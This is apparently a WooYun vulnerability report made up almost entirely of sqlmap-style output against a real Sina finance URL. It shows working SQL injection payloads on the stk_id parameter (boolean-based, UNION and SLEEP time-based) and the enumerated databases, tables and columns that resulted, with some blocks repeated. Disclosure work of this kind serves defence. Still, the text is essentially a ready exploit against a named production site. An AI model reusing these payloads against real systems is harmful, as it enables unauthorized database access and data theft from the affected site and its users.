WooYun.org

注入点：
http://biz.finance.sina.com.cn/stkrcmd/stkrcmd_people.php?stk_id=sh600981 (GET)
Place: GET
Parameter: stk_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: stk_id=sh600981' AND 5502=5502 AND 'oTFg'='oTFg
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: stk_id=sh600981' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716e747071,0x4f434a4f5248524f7a70,0x716a667471),NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: stk_id=sh600981' AND SLEEP(5) AND 'VpRa'='VpRa
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Payload: stk_id=sh600981' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716e747071,0x4f434a4f5248524f7a70,0x716a667471),NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: stk_id=sh600981' AND SLEEP(5) AND 'VpRa'='VpRa
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
available databases [3]:
[*] biz
[*] information_schema
[*] test
back-end DBMS: MySQL 5.0.11
Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: information_schema
Table: USER_PRIVILEGES
[4 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
+----------------+--------------+
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: information_schema
Table: TABLES
[21 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| VERSION | bigint(21) |
| AUTO_INCREMENT | bigint(21) |
| AVG_ROW_LENGTH | bigint(21) |
| CHECK_TIME | datetime |
| CHECKSUM | bigint(21) |
| CREATE_OPTIONS | varchar(255) |
| CREATE_TIME | datetime |
| DATA_FREE | bigint(21) |
| DATA_LENGTH | bigint(21) |
| ENGINE | varchar(64) |
| INDEX_LENGTH | bigint(21) |
| MAX_DATA_LENGTH | bigint(21) |
| ROW_FORMAT | varchar(10) |
| TABLE_CATALOG | varchar(512) |
| TABLE_COLLATION | varchar(64) |
| TABLE_COMMENT | varchar(80) |
| TABLE_NAME | varchar(64) |
| TABLE_ROWS | bigint(21) |
| TABLE_SCHEMA | varchar(64) |
| TABLE_TYPE | varchar(64) |
| UPDATE_TIME | datetime |
+-----------------+--------------+